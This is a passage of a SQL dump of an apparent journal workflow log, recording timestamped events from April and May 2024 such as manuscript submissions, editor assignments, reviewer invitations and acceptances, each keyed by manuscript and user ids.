has been Assigned Editor',14740,'Publisher',645),(133804,'2024-04-12 16:35:14','Publisher has been Assigned Editor',14738,'',1050),(133805,'2024-04-12 19:11:17','Manuscript Submitted by Author',14741,'Author',14749),(133806,'2024-04-14 18:09:24','Manuscript Submitted by Author using Submission form',14742,'Author',14750),(133807,'2024-04-15 09:55:26','Publisher has been Accepted Articles  article',14722,'Publisher',319),(133808,'2024-04-15 10:17:52','Publisher has been Accepted Articles  article',14721,'Publisher',319),(133809,'2024-04-15 12:52:59','Publisher has been Assigned Editor',14741,'Publisher',48),(133810,'2024-04-15 12:59:24','Publisher has Invited Reviewer',14741,'Publisher',48),(133811,'2024-04-15 12:59:57','Publisher has Invited Reviewer',14741,'Publisher',48),(133812,'2024-04-15 13:00:02','Publisher has Invited Reviewer',14741,'Publisher',48),(133813,'2024-04-15 13:00:07','Publisher has Invited Reviewer',14741,'Publisher',48),(133814,'2024-04-15 13:00:12','Publisher has Invited Reviewer',14741,'Publisher',48),(133815,'2024-04-15 13:00:17','Publisher has Invited Reviewer',14741,'Publisher',48),(133816,'2024-04-15 13:00:22','Publisher has Invited Reviewer',14741,'Publisher',48),(133817,'2024-04-15 13:00:28','Publisher has Invited Reviewer',14741,'Publisher',48),(133818,'2024-04-15 13:00:33','Publisher has Invited Reviewer',14741,'Publisher',48),(133819,'2024-04-15 13:00:38','Publisher has Invited Reviewer',14741,'Publisher',48),(133820,'2024-04-15 13:00:43','Publisher has Invited Reviewer',14741,'Publisher',48),(133821,'2024-04-15 13:00:49','Publisher has Invited Reviewer',14741,'Publisher',48),(133822,'2024-04-15 13:00:54','Publisher has Invited Reviewer',14741,'Publisher',48),(133823,'2024-04-15 13:01:00','Publisher has Invited Reviewer',14741,'Publisher',48),(133824,'2024-04-15 13:01:05','Publisher has Invited Reviewer',14741,'Publisher',48),(133825,'2024-04-15 13:01:10','Publisher has Invited Reviewer',14741,'Publisher',48),(133826,'2024-04-15 13:01:15','Publisher has Invited Reviewer',14741,'Publisher',48),(133827,'2024-04-15 13:01:20','Publisher has Invited Reviewer',14741,'Publisher',48),(133828,'2024-04-15 13:01:25','Publisher has Invited Reviewer',14741,'Publisher',48),(133829,'2024-04-16 10:08:02','Publisher has Invited Reviewer',14723,'Publisher',274),(133830,'2024-04-16 10:08:07','Publisher has Invited Reviewer',14723,'Publisher',274),(133831,'2024-04-16 10:08:12','Publisher has Invited Reviewer',14723,'Publisher',274),(133832,'2024-04-16 10:08:16','Publisher has Invited Reviewer',14723,'Publisher',274),(133833,'2024-04-16 10:08:21','Publisher has Invited Reviewer',14723,'Publisher',274),(133834,'2024-04-16 10:08:27','Publisher has Invited Reviewer',14723,'Publisher',274),(133835,'2024-04-16 10:08:32','Publisher has Invited Reviewer',14723,'Publisher',274),(133836,'2024-04-16 10:08:37','Publisher has Invited Reviewer',14723,'Publisher',274),(133837,'2024-04-16 10:08:42','Publisher has Invited Reviewer',14723,'Publisher',274),(133838,'2024-04-16 10:08:47','Publisher has Invited Reviewer',14723,'Publisher',274),(133839,'2024-04-16 10:08:52','Publisher has Invited Reviewer',14723,'Publisher',274),(133840,'2024-04-16 10:08:57','Publisher has Invited Reviewer',14723,'Publisher',274),(133841,'2024-04-16 10:09:02','Publisher has Invited Reviewer',14723,'Publisher',274),(133842,'2024-04-16 10:09:08','Publisher has Invited Reviewer',14723,'Publisher',274),(133843,'2024-04-16 10:09:13','Publisher has Invited Reviewer',14723,'Publisher',274),(133844,'2024-04-16 10:09:18','Publisher has Invited Reviewer',14723,'Publisher',274),(133845,'2024-04-16 10:09:23','Publisher has Invited Reviewer',14723,'Publisher',274),(133846,'2024-04-16 10:09:28','Publisher has Invited Reviewer',14723,'Publisher',274),(133847,'2024-04-16 10:09:32','Publisher has Invited Reviewer',14723,'Publisher',274),(133848,'2024-04-16 10:09:38','Publisher has Invited Reviewer',14723,'Publisher',274),(133849,'2024-04-16 10:09:43','Publisher has Invited Reviewer',14723,'Publisher',274),(133850,'2024-04-16 10:09:48','Publisher has Invited Reviewer',14723,'Publisher',274),(133851,'2024-04-16 10:09:53','Publisher has Invited Reviewer',14723,'Publisher',274),(133852,'2024-04-16 10:09:58','Publisher has Invited Reviewer',14723,'Publisher',274),(133853,'2024-04-16 10:10:03','Publisher has Invited Reviewer',14723,'Publisher',274),(133854,'2024-04-16 10:10:08','Publisher has Invited Reviewer',14723,'Publisher',274),(133855,'2024-04-16 10:10:13','Publisher has Invited Reviewer',14723,'Publisher',274),(133856,'2024-04-16 10:10:18','Publisher has Invited Reviewer',14723,'Publisher',274),(133857,'2024-04-16 10:10:23','Publisher has Invited Reviewer',14723,'Publisher',274),(133858,'2024-04-16 10:10:28','Publisher has Invited Reviewer',14723,'Publisher',274),(133859,'2024-04-16 10:10:33','Publisher has Invited Reviewer',14723,'Publisher',274),(133860,'2024-04-16 10:10:38','Publisher has Invited Reviewer',14723,'Publisher',274),(133861,'2024-04-16 10:10:43','Publisher has Invited Reviewer',14723,'Publisher',274),(133862,'2024-04-16 10:10:48','Publisher has Invited Reviewer',14723,'Publisher',274),(133863,'2024-04-16 10:10:54','Publisher has Invited Reviewer',14723,'Publisher',274),(133864,'2024-04-16 10:10:59','Publisher has Invited Reviewer',14723,'Publisher',274),(133865,'2024-04-16 10:11:04','Publisher has Invited Reviewer',14723,'Publisher',274),(133866,'2024-04-16 10:11:09','Publisher has Invited Reviewer',14723,'Publisher',274),(133867,'2024-04-16 10:11:14','Publisher has Invited Reviewer',14723,'Publisher',274),(133868,'2024-04-16 10:11:19','Publisher has Invited Reviewer',14723,'Publisher',274),(133869,'2024-04-16 10:11:24','Publisher has Invited Reviewer',14723,'Publisher',274),(133870,'2024-04-16 10:11:29','Publisher has Invited Reviewer',14723,'Publisher',274),(133871,'2024-04-16 10:11:34','Publisher has Invited Reviewer',14723,'Publisher',274),(133872,'2024-04-16 10:11:39','Publisher has Invited Reviewer',14723,'Publisher',274),(133873,'2024-04-16 10:11:46','Publisher has Invited Reviewer',14723,'Publisher',274),(133874,'2024-04-16 10:11:56','Publisher has Invited Reviewer',14723,'Publisher',274),(133875,'2024-04-16 10:12:01','Publisher has Invited Reviewer',14723,'Publisher',274),(133876,'2024-04-16 10:47:28','Reviewer has submitted comments',14712,'Reviewer',648),(133877,'2024-04-16 14:00:32','Publisher has been Accepted Articles  article',14720,'Publisher',319),(133878,'2024-04-16 14:00:37','Publisher has been Accepted Articles  article',14720,'Publisher',319),(133879,'2024-04-16 14:00:45','Publisher has been Accepted Articles  article',14720,'Publisher',319),(133880,'2024-04-16 14:00:48','Publisher has been Accepted Articles  article',14720,'Publisher',319),(133881,'2024-04-16 14:00:59','Publisher has been Accepted Articles  article',14720,'Publisher',319),(133882,'2024-04-16 14:01:52','Publisher has been Accepted Articles  article',14719,'Publisher',319),(133883,'2024-04-16 14:02:02','Publisher has been Accepted Articles  article',14719,'Publisher',319),(133884,'2024-04-16 14:03:00','Publisher has been Accepted Articles  article',14718,'Publisher',319),(133885,'2024-04-16 14:03:04','Publisher has been Accepted Articles  article',14718,'Publisher',319),(133886,'2024-04-16 14:03:07','Publisher has been Accepted Articles  article',14718,'Publisher',319),(133887,'2024-04-16 14:03:12','Publisher has been Accepted Articles  article',14718,'Publisher',319),(133888,'2024-04-16 14:03:23','Publisher has been Accepted Articles  article',14718,'Publisher',319),(133889,'2024-04-16 14:03:26','Publisher has been Accepted Articles  article',14718,'Publisher',319),(133890,'2024-04-16 14:03:30','Publisher has been Accepted Articles  article',14718,'Publisher',319),(133891,'2024-04-16 14:03:35','Publisher has been Accepted Articles  article',14718,'Publisher',319),(133892,'2024-04-16 14:03:39','Publisher has been Accepted Articles  article',14718,'Publisher',319),(133893,'2024-04-16 14:03:44','Publisher has been Accepted Articles  article',14718,'Publisher',319),(133894,'2024-04-16 14:05:46','Publisher has been Accepted Articles  article',14717,'Publisher',319),(133895,'2024-04-16 14:05:52','Publisher has been Accepted Articles  article',14717,'Publisher',319),(133896,'2024-04-16 14:06:49','Publisher has been Accepted Articles  article',14716,'Publisher',319),(133897,'2024-04-16 14:06:52','Publisher has been Accepted Articles  article',14716,'Publisher',319),(133898,'2024-04-16 14:07:45','Publisher has been Accepted Articles  article',14715,'Publisher',319),(133899,'2024-04-16 14:07:48','Publisher has been Accepted Articles  article',14715,'Publisher',319),(133900,'2024-04-16 14:09:01','Publisher has been Accepted Articles  article',14714,'Publisher',319),(133901,'2024-04-16 14:09:06','Publisher has been Accepted Articles  article',14714,'Publisher',319),(133902,'2024-04-16 14:09:18','Publisher has been Accepted Articles  article',14714,'Publisher',319),(133903,'2024-04-16 14:09:20','Publisher has been Accepted Articles  article',14714,'Publisher',319),(133904,'2024-04-16 14:10:23','Publisher has been Accepted Articles  article',14713,'Publisher',319),(133905,'2024-04-16 14:10:25','Publisher has been Accepted Articles  article',14713,'Publisher',319),(133906,'2024-04-16 15:23:36','Manuscript Updated',14712,'Publisher',75),(133907,'2024-04-16 15:24:12','Publisher has been Accepted Articles  article',14712,'Publisher',75),(133908,'2024-04-16 15:24:22','Manuscript Updated',14712,'Publisher',75),(133909,'2024-04-17 10:12:33','Reviewer has submitted comments',14736,'Reviewer',12532),(133910,'2024-04-18 11:17:07','Editor has Accepted to review Manuscript',14580,'Editor',1784),(133911,'2024-04-18 11:17:12','Editor has Accepted to review Manuscript',14660,'Editor',1784),(133912,'2024-04-18 11:17:35','Editor has been Editor Decision Accepted article',14580,'Editor',1784),(133913,'2024-04-18 11:18:16','Editor has been Editor Decision Accepted article',14660,'Editor',1784),(133914,'2024-04-18 11:18:43','Editor has Accepted to review Manuscript',14664,'Editor',1784),(133915,'2024-04-18 11:19:04','Editor has been Editor Decision Accepted article',14664,'Editor',1784),(133916,'2024-04-18 11:19:14','Editor has Accepted to review Manuscript',14665,'Editor',1784),(133917,'2024-04-18 11:19:30','Editor has been Editor Decision Accepted article',14665,'Editor',1784),(133918,'2024-04-18 11:21:23','Editor has Accepted to review Manuscript',14659,'Editor',1787),(133919,'2024-04-18 11:21:28','Editor has Accepted to review Manuscript',14662,'Editor',1787),(133920,'2024-04-18 11:21:59','Editor has been Editor Decision Accepted article',14659,'Editor',1787),(133921,'2024-04-18 11:22:34','Editor has been Editor Decision Accepted article',14662,'Editor',1787),(133922,'2024-04-18 11:24:04','Editor has Accepted to review Manuscript',14661,'Editor',1786),(133923,'2024-04-18 11:24:25','Editor has been Editor Decision Accepted article',14661,'Editor',1786),(133924,'2024-04-18 11:24:35','Editor has Accepted to review Manuscript',14666,'Editor',1786),(133925,'2024-04-18 11:24:40','Editor has Accepted to review Manuscript',14667,'Editor',1786),(133926,'2024-04-18 11:25:04','Editor has been Editor Decision Accepted article',14666,'Editor',1786),(133927,'2024-04-18 11:25:49','Editor has been Editor Decision Accepted article',14667,'Editor',1786),(133928,'2024-04-18 11:25:58','Editor has Accepted to review Manuscript',14668,'Editor',1786),(133929,'2024-04-18 11:26:19','Editor has been Editor Decision Accepted article',14668,'Editor',1786),(133930,'2024-04-18 11:27:27','Editor has Accepted to review Manuscript',14663,'Editor',1785),(133931,'2024-04-18 11:27:46','Editor has been Editor Decision Accepted article',14663,'Editor',1785),(133932,'2024-04-18 11:31:11','Publisher has been Accepted Articles  article',14659,'Publisher',972),(133933,'2024-04-18 11:31:17','Publisher has been Accepted Articles  article',14659,'Publisher',972),(133934,'2024-04-18 11:31:20','Publisher has been Accepted Articles  article',14659,'Publisher',972),(133935,'2024-04-18 11:32:33','Publisher has been Accepted Articles  article',14660,'Publisher',972),(133936,'2024-04-18 11:33:34','Publisher has been Accepted Articles  article',14661,'Publisher',972),(133937,'2024-04-18 11:34:31','Publisher has been Accepted Articles  article',14662,'Publisher',972),(133938,'2024-04-18 11:44:01','Publisher has been Accepted Articles  article',14663,'Publisher',972),(133939,'2024-04-18 11:45:14','Publisher has been Accepted Articles  article',14664,'Publisher',972),(133940,'2024-04-18 11:46:25','Publisher has been Accepted Articles  article',14665,'Publisher',972),(133941,'2024-04-18 11:47:27','Publisher has been Accepted Articles  article',14666,'Publisher',972),(133942,'2024-04-18 11:48:45','Publisher has been Accepted Articles  article',14667,'Publisher',972),(133943,'2024-04-18 11:49:39','Publisher has been Accepted Articles  article',14668,'Publisher',972),(133944,'2024-04-18 14:10:23','Manuscript Submitted by Publisher',14743,'',1050),(133945,'2024-04-18 17:02:47','Publisher has been Assigned Editor',14743,'',1050),(133946,'2024-04-19 10:50:05','Manuscript Submitted by Publisher',14744,'',1212),(133947,'2024-04-19 11:25:30','Editor has been Editor Decision Accepted article',14736,'Editor',194),(133948,'2024-04-19 11:29:16','Editor has been Editor Decision Accepted article',14736,'Editor',194),(133949,'2024-04-19 11:32:51','Manuscript Updated',14736,'Publisher',48),(133950,'2024-04-19 11:33:51','Publisher has been Accepted Articles  article',14736,'Publisher',48),(133951,'2024-04-19 11:34:37','Manuscript Updated',14736,'Publisher',48),(133952,'2024-04-19 15:28:13','Manuscript Submitted by Publisher',14745,'Publisher',972),(133953,'2024-04-19 19:21:53','Reviewer has been sent email to Publisher',14723,'Reviewer',9911),(133954,'2024-04-19 19:35:58','Reviewer has submitted comments',14723,'Reviewer',9911),(133955,'2024-04-21 21:23:55','Manuscript Submitted by Author using Submission form',14746,'Author',14754),(133956,'2024-04-22 09:36:59','Publisher has been Assigned Editor',14744,'',1212),(133957,'2024-04-22 10:34:06','Publisher has been Assigned Editor',14746,'Publisher',75),(133958,'2024-04-22 13:07:37','Publisher has been Assigned Editor',14448,'Publisher',84),(133959,'2024-04-23 10:14:26','Manuscript Submitted by Publisher',14747,'Publisher',645),(133960,'2024-04-23 10:16:56','Manuscript Submitted by Publisher',14748,'Publisher',645),(133961,'2024-04-25 08:34:13','Publisher has been Assigned Editor',14748,'Publisher',645),(133962,'2024-04-25 11:56:59','Publisher has been Accepted Articles  article',14522,'',1281),(133963,'2024-04-26 04:41:47','Editor has Accepted to review Manuscript',14740,'Editor',1805),(133964,'2024-04-26 04:44:46','Editor has Invited Reviewer',14740,'Editor',1805),(133965,'2024-04-26 04:44:50','Editor has Invited Reviewer',14740,'Editor',1805),(133966,'2024-04-26 04:44:53','Editor has Invited Reviewer',14740,'Editor',1805),(133967,'2024-04-26 04:55:27','Reviewer has submitted comments',14740,'Reviewer',4512),(133968,'2024-04-26 04:56:25','Editor has been Editor Decision Accepted article',14740,'Editor',1805),(133969,'2024-04-26 05:01:26','Publisher has been Accepted Articles  article',14740,'Publisher',645),(133970,'2024-04-26 05:01:28','Publisher has been Accepted Articles  article',14740,'Publisher',645),(133971,'2024-04-26 05:01:29','Publisher has been Accepted Articles  article',14740,'Publisher',645),(133972,'2024-04-26 05:01:30','Publisher has been Accepted Articles  article',14740,'Publisher',645),(133973,'2024-04-26 07:38:26','Publisher has been Assigned Editor',14747,'Publisher',645),(133974,'2024-04-27 03:50:29','Manuscript Submitted by Author using Submission form',14749,'Author',14756),(133975,'2024-04-29 05:34:36','Publisher has been Assigned Editor',14750,'Publisher',48),(133976,'2024-04-29 05:35:10','Publisher has Invited Reviewer',14750,'Publisher',48),(133977,'2024-04-29 05:35:14','Publisher has Invited Reviewer',14750,'Publisher',48),(133978,'2024-04-29 05:35:17','Publisher has Invited Reviewer',14750,'Publisher',48),(133979,'2024-04-29 05:35:20','Publisher has Invited Reviewer',14750,'Publisher',48),(133980,'2024-04-29 05:35:23','Publisher has Invited Reviewer',14750,'Publisher',48),(133981,'2024-04-29 05:35:26','Publisher has Invited Reviewer',14750,'Publisher',48),(133982,'2024-04-29 05:35:29','Publisher has Invited Reviewer',14750,'Publisher',48),(133983,'2024-04-29 05:35:32','Publisher has Invited Reviewer',14750,'Publisher',48),(133984,'2024-04-29 05:35:35','Publisher has Invited Reviewer',14750,'Publisher',48),(133985,'2024-04-29 05:35:38','Publisher has Invited Reviewer',14750,'Publisher',48),(133986,'2024-04-29 05:35:41','Publisher has Invited Reviewer',14750,'Publisher',48),(133987,'2024-04-29 05:35:44','Publisher has Invited Reviewer',14750,'Publisher',48),(133988,'2024-04-29 05:35:47','Publisher has Invited Reviewer',14750,'Publisher',48),(133989,'2024-04-29 05:35:50','Publisher has Invited Reviewer',14750,'Publisher',48),(133990,'2024-04-29 05:35:53','Publisher has Invited Reviewer',14750,'Publisher',48),(133991,'2024-04-29 05:35:56','Publisher has Invited Reviewer',14750,'Publisher',48),(133992,'2024-04-29 05:35:59','Publisher has Invited Reviewer',14750,'Publisher',48),(133993,'2024-04-29 05:36:02','Publisher has Invited Reviewer',14750,'Publisher',48),(133994,'2024-04-29 05:36:41','Editor has Accepted to review Manuscript',14750,'Editor',192),(133995,'2024-04-29 07:58:35','Publisher has been Withdrawn  article',14655,'Publisher',48),(133996,'2024-04-30 06:44:10','Manuscript Submitted by Publisher',14751,'Publisher',972),(133997,'2024-05-01 09:00:49','Publisher has been Assigned Editor',14752,'Publisher',972),(133998,'2024-05-01 09:03:19','Editor has Accepted to review Manuscript',14752,'Editor',1786),(133999,'2024-05-01 09:03:34','Editor has been Editor Decision Accepted article',14752,'Editor',1786),(134000,'2024-05-01 12:07:16','Publisher has been Accepted Articles  article',14752,'Publisher',972),(134001,'2024-05-03 04:07:13','Publisher has been Accepted Articles  article',14484,'Publisher',376),(134002,'2024-05-03 04:07:24','Publisher has been Accepted Articles  article',14484,'Publisher',376),(134003,'2024-05-03 04:07:54','Publisher has been Accepted Articles  article',14484,'Publisher',376),(134004,'2024-05-03 04:13:41','Publisher has been Accepted Articles  article',14672,'Publisher',376),(134005,'2024-05-03 16:57:32','Manuscript Submitted by Author using Submission form',14753,'Author',14760),(134006,'2024-05-04 06:31:22','Manuscript Submitted by Publisher',14754,'Publisher',84),(134007,'2024-05-04 06:37:46','Manuscript Submitted by Publisher',14755,'Publisher',84),(134008,'2024-05-04 06:41:20','Manuscript Submitted by Publisher',14756,'Publisher',84),(134009,'2024-05-04 07:34:49','Manuscript Submitted by Publisher',14757,'Publisher',84),(134010,'2024-05-04 07:46:09','Manuscript Submitted by Publisher',14758,'Publisher',84),(134011,'2024-05-04 07:53:11','Manuscript Submitted by Publisher',14759,'Publisher',84),(134012,'2024-05-04 07:59:22','Manuscript Submitted by Publisher',14760,'Publisher',84),(134013,'2024-05-04 08:15:30','Manuscript Submitted by Publisher',14762,'Publisher',84),(134014,'2024-05-04 08:19:57','Manuscript Submitted by Publisher',14763,'Publisher',84),(134015,'2024-05-04 08:34:23','Manuscript Submitted by Publisher',14764,'Publisher',994),(134016,'2024-05-04 08:36:47','Manuscript Submitted by Publisher',14765,'Publisher',994),(134017,'2024-05-04 08:51:14','Manuscript Submitted by Publisher',14766,'Publisher',994),(134018,'2024-05-04 08:59:10','Publisher has been Assigned Editor',14163,'Publisher',994),(134019,'2024-05-04 08:59:26','Publisher has been Assigned Editor',14162,'Publisher',994),(134020,'2024-05-04 08:59:42','Publisher has been Assigned Editor',14161,'Publisher',994),(134021,'2024-05-04 08:59:57','Publisher has been Assigned Editor',14160,'Publisher',994),(134022,'2024-05-04 09:00:08','Publisher has been Assigned Editor',14159,'Publisher',994),(134023,'2024-05-04 09:00:29','Publisher has been Assigned Editor',14158,'Publisher',994),(134024,'2024-05-04 09:09:09','Manuscript Submitted by Publisher',14767,'Publisher',994),(134025,'2024-05-04 09:11:52','Manuscript Submitted by Publisher',14768,'Publisher',994),(134026,'2024-05-04 09:15:19','Manuscript Submitted by Publisher',14769,'Publisher',994),(134027,'2024-05-04 09:24:59','Manuscript Submitted by Publisher',14770,'Publisher',994),(134028,'2024-05-04 09:27:51','Manuscript Submitted by Publisher',14771,'Publisher',994),(134029,'2024-05-04 09:30:15','Manuscript Submitted by Publisher',14772,'Publisher',994),(134030,'2024-05-04 09:33:04','Manuscript Submitted by Publisher',14773,'Publisher',994),(134031,'2024-05-04 09:56:05','Manuscript Submitted by Publisher',14774,'Publisher',994),(134032,'2024-05-06 04:46:56','Manuscript Submitted by Publisher',14775,'Publisher',248),(134033,'2024-05-06 04:50:05','Manuscript Submitted by Publisher',14776,'Publisher',248),(134034,'2024-05-06 04:51:41','Manuscript Submitted by Publisher',14777,'Publisher',248),(134035,'2024-05-06 04:53:03','Manuscript Submitted by Publisher',14778,'Publisher',248),(134036,'2024-05-06 04:54:37','Manuscript Submitted by Publisher',14779,'Publisher',248),(134037,'2024-05-06 04:56:15','Manuscript Submitted by Publisher',14780,'Publisher',248),(134038,'2024-05-06 04:57:35','Manuscript Submitted by Publisher',14781,'Publisher',248),(134039,'2024-05-06 04:59:24','Manuscript Submitted by Publisher',14782,'Publisher',248),(134040,'2024-05-06 05:00:35','Manuscript Submitted by Publisher',14783,'Publisher',248),(134041,'2024-05-06 05:02:04','Manuscript Submitted by Publisher',14784,'Publisher',248),(134042,'2024-05-06 05:03:42','Manuscript Submitted by Publisher',14785,'Publisher',248),(134043,'2024-05-06 05:06:23','Manuscript Submitted by Publisher',14786,'Publisher',248),(134044,'2024-05-06 05:07:53','Manuscript Submitted by Publisher',14787,'Publisher',248),(134045,'2024-05-06 08:26:07','Manuscript Submitted by Publisher',14788,'Publisher',48),(134046,'2024-05-06 08:49:56','Publisher has been Assigned Editor',14774,'Publisher',994),(134047,'2024-05-06 08:50:41','Publisher has been Assigned Editor',14773,'Publisher',994),(134048,'2024-05-06 08:53:48','Publisher has been Assigned Editor',14772,'Publisher',994),(134049,'2024-05-06 08:57:56','Publisher has been Assigned Editor',14771,'Publisher',994),(134050,'2024-05-06 08:58:39','Publisher has been Assigned Editor',14770,'Publisher',994),(134051,'2024-05-06 09:00:33','Publisher has been Assigned Editor',14769,'Publisher',994),(134052,'2024-05-06 09:02:27','Publisher has been Assigned Editor',14768,'Publisher',994),(134053,'2024-05-06 09:03:05','Publisher has been Assigned Editor',14767,'Publisher',994),(134054,'2024-05-06 09:03:55','Publisher has been Assigned Editor',14766,'Publisher',994),(134055,'2024-05-06 09:04:32','Publisher has been Assigned Editor',14765,'Publisher',994),(134056,'2024-05-06 09:06:09','Publisher has been Assigned Editor',14763,'Publisher',84),(134057,'2024-05-06 09:06:31','Publisher has been Assigned Editor',14762,'Publisher',84),(134058,'2024-05-06 09:06:48','Publisher has been Assigned Editor',14761,'Publisher',84),(134059,'2024-05-06 09:08:33','Publisher has been Assigned Editor',14760,'Publisher',84),(134060,'2024-05-06 09:08:49','Publisher has been Assigned Editor',14759,'Publisher',84),(134061,'2024-05-06 09:09:36','Publisher has been Assigned Editor',14758,'Publisher',84),(134062,'2024-05-06 09:10:56','Publisher has been Assigned Editor',14757,'Publisher',84),(134063,'2024-05-06 09:11:50','Publisher has been Assigned Editor',14756,'Publisher',84),(134064,'2024-05-06 09:12:37','Publisher has been Assigned Editor',14755,'Publisher',84),(134065,'2024-05-06 09:13:04','Publisher has been Assigned Editor',14754,'Publisher',84),(134066,'2024-05-06 09:21:29','Editor has Accepted to review Manuscript',14754,'Editor',222),(134067,'2024-05-06 09:21:36','Editor has Accepted to review Manuscript',14755,'Editor',222),(134068,'2024-05-06 09:22:05','Editor has Accepted to review Manuscript',14756,'Editor',222),(134069,'2024-05-06 09:22:11','Editor has Accepted to review Manuscript',14757,'Editor',222),(134070,'2024-05-06 09:22:20','Editor has Accepted to review Manuscript',14758,'Editor',222),(134071,'2024-05-06 09:22:29','Editor has Accepted to review Manuscript',14759,'Editor',222),(134072,'2024-05-06 09:22:35','Editor has Accepted to review Manuscript',14760,'Editor',222),(134073,'2024-05-06 09:22:40','Editor has Accepted to review Manuscript',14761,'Editor',222),(134074,'2024-05-06 09:22:45','Editor has Accepted to review Manuscript',14762,'Editor',222),(134075,'2024-05-06 09:22:50','Editor has Accepted to review Manuscript',14763,'Editor',222),(134076,'2024-05-06 09:26:48','Editor has been Editor Decision Accepted article',14763,'Editor',222),(134077,'2024-05-06 09:27:02','Editor has been Editor Decision Accepted article',14762,'Editor',222),(134078,'2024-05-06 09:27:16','Editor has been Editor Decision Accepted article',14761,'Editor',222),(134079,'2024-05-06 09:27:30','Editor has been Editor Decision Accepted article',14760,'Editor',222),(134080,'2024-05-06 09:27:48','Editor has been Editor Decision Accepted article',14759,'Editor',222),(134081,'2024-05-06 09:28:02','Editor has been Editor Decision Accepted article',14758,'Editor',222),(134082,'2024-05-06 09:28:28','Editor has been Editor Decision Accepted article',14757,'Editor',222),(134083,'2024-05-06 09:29:00','Editor has been Editor Decision Accepted article',14756,'Editor',222),(134084,'2024-05-06 09:29:27','Editor has been Editor Decision Accepted article',14755,'Editor',222),(134085,'2024-05-06 09:30:10','Editor has been Editor Decision Accepted article',14754,'Editor',222),(134086,'2024-05-06 09:31:36','Editor has Accepted to review Manuscript',14774,'Editor',1790),(134087,'2024-05-06 09:31:43','Editor has been Editor Decision Accepted article',14774,'Editor',1790),(134088,'2024-05-06 09:31:54','Editor has Accepted to review Manuscript',14773,'Editor',1790),(134089,'2024-05-06 09:32:02','Editor has been Editor Decision Accepted article',14773,'Editor',1790),(134090,'2024-05-06 09:32:17','Editor has Accepted to review Manuscript',14772,'Editor',1790),(134091,'2024-05-06 09:32:25','Editor has been Editor Decision Accepted article',14772,'Editor',1790),(134092,'2024-05-06 09:33:16','Editor has Accepted to review Manuscript',14771,'Editor',1790),(134093,'2024-05-06 09:33:25','Editor has been Editor Decision Accepted article',14771,'Editor',1790),(134094,'2024-05-06 09:34:05','Editor has Accepted to review Manuscript',14770,'Editor',1790),(134095,'2024-05-06 09:34:14','Editor has been Editor Decision Accepted article',14770,'Editor',1790),(134096,'2024-05-06 09:34:43','Editor has Accepted to review Manuscript',14769,'Editor',1790),(134097,'2024-05-06 09:34:51','Editor has been Editor Decision Accepted article',14769,'Editor',1790),(134098,'2024-05-06 09:35:33','Editor has Accepted to review Manuscript',14768,'Editor',1790),(134099,'2024-05-06 09:35:41','Editor has been Editor Decision Accepted article',14768,'Editor',1790),(134100,'2024-05-06 09:36:10','Editor has Accepted to review Manuscript',14767,'Editor',1790),(134101,'2024-05-06 09:36:42','Editor has been Editor Decision Accepted article',14767,'Editor',1790),(134102,'2024-05-06 09:37:14','Editor has Accepted to review Manuscript',14766,'Editor',1790),(134103,'2024-05-06 09:37:23','Editor has been Editor Decision Accepted article',14766,'Editor',1790),(134104,'2024-05-06 09:37:46','Editor has Accepted to review Manuscript',14765,'Editor',1790),(134105,'2024-05-06 09:38:12','Editor has been Editor Decision Accepted article',14765,'Editor',1790),(134106,'2024-05-07 04:16:41','Publisher has been Assigned Editor',14753,'Publisher',645),(134107,'2024-05-07 04:21:16','Publisher has been Assigned Editor',14788,'Publisher',48),(134108,'2024-05-07 04:39:15','Manuscript Submitted by Publisher',14789,'Publisher',376),(134109,'2024-05-07 04:45:00','Manuscript Submitted by Publisher',14790,'Publisher',376),(134110,'2024-05-07 04:47:34','Manuscript Submitted by Publisher',14791,'Publisher',376),(134111,'2024-05-07 04:49:55','Manuscript Submitted by Publisher',14792,'Publisher',376),(134112,'2024-05-07 04:54:12','Manuscript Submitted by Publisher',14793,'Publisher',376),(134113,'2024-05-07 06:00:12','Manuscript Submitted by Author using Submission form',14794,'Author',14794),(134114,'2024-05-07 06:06:10','Manuscript Submitted by Publisher',14795,'Publisher',1009),(134115,'2024-05-07 06:10:25','Manuscript Submitted by Publisher',14796,'Publisher',1009),(134116,'2024-05-07 06:13:01','Manuscript Submitted by Publisher',14797,'Publisher',1009),(134117,'2024-05-07 06:14:42','Manuscript Submitted by Publisher',14798,'Publisher',1009),(134118,'2024-05-07 06:17:13','Manuscript Submitted by Publisher',14799,'Publisher',1009),(134119,'2024-05-07 06:18:42','Manuscript Submitted by Publisher',14800,'Publisher',1009),(134120,'2024-05-07 06:20:32','Manuscript Submitted by Publisher',14801,'Publisher',1009),(134121,'2024-05-07 06:22:15','Manuscript Submitted by Publisher',14802,'Publisher',1009),(134122,'2024-05-07 06:24:13','Manuscript Submitted by Publisher',14803,'Publisher',1009),(134123,'2024-05-07 06:26:00','Manuscript Submitted by Publisher',14804,'Publisher',1009),(134124,'2024-05-07 07:54:34','Publisher has been Assigned Editor',14794,'Publisher',48),(134125,'2024-05-07 07:55:26','Publisher has Invited Reviewer',14794,'Publisher',48),(134126,'2024-05-07 07:55:30','Publisher has Invited Reviewer',14794,'Publisher',48),(134127,'2024-05-07 07:55:33','Publisher has Invited Reviewer',14794,'Publisher',48),(134128,'2024-05-07 07:55:36','Publisher has Invited Reviewer',14794,'Publisher',48),(134129,'2024-05-07 07:55:39','Publisher has Invited Reviewer',14794,'Publisher',48),(134130,'2024-05-07 07:55:42','Publisher has Invited Reviewer',14794,'Publisher',48),(134131,'2024-05-07 07:55:45','Publisher has Invited Reviewer',14794,'Publisher',48),(134132,'2024-05-07 07:55:48','Publisher has Invited Reviewer',14794,'Publisher',48),(134133,'2024-05-07 07:55:51','Publisher has Invited Reviewer',14794,'Publisher',48),(134134,'2024-05-07 07:55:54','Publisher has Invited Reviewer',14794,'Publisher',48),(134135,'2024-05-07 07:55:57','Publisher has Invited Reviewer',14794,'Publisher',48),(134136,'2024-05-07 07:56:31','Publisher has Invited Reviewer',14788,'Publisher',48),(134137,'2024-05-07 07:56:34','Publisher has Invited Reviewer',14788,'Publisher',48),(134138,'2024-05-07 07:56:37','Publisher has Invited Reviewer',14788,'Publisher',48),(134139,'2024-05-07 07:56:40','Publisher has Invited Reviewer',14788,'Publisher',48),(134140,'2024-05-07 07:56:43','Publisher has Invited Reviewer',14788,'Publisher',48),(134141,'2024-05-07 07:56:46','Publisher has Invited Reviewer',14788,'Publisher',48),(134142,'2024-05-07 07:57:23','Editor has Accepted to review Manuscript',14794,'Editor',195),(134143,'2024-05-07 07:57:33','Editor has Accepted to review Manuscript',14788,'Editor',195),(134144,'2024-05-07 07:57:44','Editor has Accepted to review Manuscript',14706,'Editor',195),(134145,'2024-05-07 